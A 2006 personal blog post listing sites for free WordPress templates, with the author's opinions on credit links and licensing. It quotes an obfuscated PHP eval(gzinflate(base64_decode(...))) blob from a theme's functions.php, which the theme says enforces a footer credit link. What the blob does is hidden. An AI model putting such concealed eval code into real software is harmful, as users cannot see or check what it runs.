• Quickies – September 27, 2006

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    September 27th, 2006HARTQuickies

    Looking for a free wordpress template?

    Whenever I create a new blog, I try to look for a “FREE” wordpress template that will look good with some of the content that I hope to display. There are several places to find new templates .. so I thought I would just link the ones that I use.

    * http://www.alexking.org/software/wordpress/theme_browser.php

    >> I used to start with Alex King’s browser, because it was the simplest way to get view the template and get the download. But, I am not sure it is being updated

    * http://www.emilyrobbins.com/how-to-blog/comprehensive-list-of-615-free-wordpress-15-and-20-themes-templates-available-for-download-266.htm

    >> Emily Robbins was my original source of free wordpress themes, by taking Alex Kings 200+ themes back in 2005 and maintained a new list .. almost 1000 themes. Unfortunately, her decision to sort it alphabetically makes it much harder to see what’s new and improved out there (although there are some icons to indicate). I know some of the newer themes for the newer versions of wordpress works best with the latest programs and not quite so well on the older versions.

    * http://themes.wordpress.net/

    >> This site seems to have the most organized list of templates out there, where you can visually scan the list quite easily and by seeing a small thumbnail of the design. It helps makes it easier when looking for something specific

    * http://codex.wordpress.org/Using_Themes/Theme_List

    >> I like to browse the WordPress.org site as well for new themes – except that I hate the fact that it is NOT Internet Explorer v7 friendly, and always seems to screw up the view while browsing it. But, I just load it up in my Firefox or alternative browser

    * http://www.bloggingpro.com/archives/category/wordpress-themes/

    >> I like to check out Blogging Pro for listings of newer templates .. just in case! I found a really nice one through this site just recently

    Free Templates and Giving Credit To The Author

    Naturally, you should leave the credit due to the author. It’s one of the best ways to keep templates being offered free on the internet. The author takes time to design, write and code a template .. and does so to help get the referral link back to him or her. I normally add a ‘cutesie’ little add-on to the credits in the footer .. and link back to my 1-800-HART site or another site of mine … but I know I am guilty somewhat. The Spam Karma plugin has been embedding some code into my footers that sometimes overwrites or displaces what I originally place in my footers. I have to fix still fix a few sites.

    But – I came across something different yesterday – the way a designer embedded its link back to its site. It was through a call in the functions.php file .. and encoded .. so if you mess up the code, the template

    The source looked like this:

    The code below contains the link attribution and altering it will result in theme breakage.
    =============================================*/
    eval(gzinflate(base64_decode(‘DdI30qNIAEDhq2w2M0WAhBPU1gQIJ7wHQbKF966bFoLT73+C9w
    Wv+mTj7+bq5nrM9up3nsGKof4rq2Ipq9+/xNJ7XZul8pLYbuyJEBsK+dOC/Xt9GuY6uMRLTAf3Zke2dG
    M5vP3Uaxq0Wz3jDoQoz8wR+3JKAWsPz9L8ltX5Y6T9LOtvKKeZN+bIMRnqTMSIDO5RIByE5XwZeZTzDC
    lZC9BaMwT8GWBalzKjE6rFNcgBEBZQJspwdkhjBzU+MbI7puy5tj4dXisM/DW3P3mdjcBOegBIapSAQl
    fLD5vF7k3Rtfq3+gC/jMjgbNjyp5RYOuYQt7f/3O6lWVMU95n5G/X1ibJ2LhM+aePD9j3wZQaqX7O9Cj
    E+I1TXoqtZeaRue9uHb2KcFvmyi3qpsKm+09nqCtGjz4NCId9pp681OtjVnZkKJrpO2LbNSFQdtN7Ywd
    IDhv9AgA/mpSDi/CSBwgdalHe9d/JIc423PBAsdGWiLi2GXDP/07Ozwj4OUWqaASH1DhRtXt7BLeadvL
    tIMnkmBPaN+GvDCy9hs/mceDn+rHxLuX42H2LOEZwZBDCiRW8tYeESqWol8jgPZonbo+BrjxHm06DgXT
    1SjXQ2/kV825rpa9JnNs70Laj6PHoJ+zCa3PvrD4zM+DlJuUJKA59tg50/kYkOpKj75x7Xe/clxnu2Vl
    fJfBTJmGU74MDHmGfvrFVMtZdWYEOdx9Bu94gBKYaRIHto4qalJ3P6uPitYqI0ejqk9kKsFgRJXgi/xI
    sZJ8V0otxOMV9LCEZDVBG712tjC312TjREwOYfk1uWiAtub7WeMJQNE/Fab6zabpkw7hfNDdaUWc3zsP
    oZqi44YQjajpIlxkk/hsC0Qj2CVnJlbOTj4GkUu+d99bYa4H00JpNJ6rCFHaPJE1w+7Rv+vGzrfI4P+0
    Ump9Jq86QXG3qv5u6BXWI7OcEMeg4IHF5F/L6oZU5c4RZRBo6SdN7qVn4e6ZEH95UGZNwZclHZhgrxZI
    7qoYlw1fKA0vjmmQSHkwsjf2c1y0dZUZ0hMe636ZJk3jo5pTFlj5ow0Uad83GS9rAfSaIBZVRpnkDxtq
    82Mxu1PizPDEHnaLenhzfHAWbuiFfYuGyoUam1kca+8UAJCL8q12DUk/5ZaJ5XFarGrgMpIG+OwYFMkT
    6Kqdhajr/JgWQOr5ekpiURvybnRuw1HZay6NFprNqj82g2KPPlq2wsPcshbrrdymwzUd0eUcRkjphnDl
    fAmK+m1VszM0oW5txYT/GeX2DA7MXr/cq+aYsQNWlEEFR4TeIcVjszSeLY8/j799efP3/+/ed/’)));

    Of course, at the bottom of the page .. it looks like this:

    Deep Blue Business theme courtesy of College Financial Aid

    (with links to the wordpressdiva site and the collegefinancialaidguide sites)

    Is this what the world is coming to? That designers have to embed these secret codes? I think that some designers are losing sight of offering free templates out to the world of wordpress users. I’m not much a stickler of sites that embed secret codes to keep the referral links back to the author – or the template will fail – although I’ve picked the above site for one of my newer sites. And I would have kept the link anyway … I think when designers try to embed stuff like links back to their sites .. it will create more opportunities for designers to embed other stuff in their template designs .. and worse yet – create competition by users to remove the embedded links and make sure the templates do not crash as a result.

    But – that’s not the worse thing that designers offering templates out the the wordpress user communities are doing, they are assigning some creative commons license .. That’s bad in my humble opinion.

    You can bet that I will not be using templates with these extra conditions attached to it .. Sorry. Thanks but no thanks. There’s not one blog template that I am using that I haven’t modified with extra unique design adjustments or additions to make the free template just a little unique in some little way.

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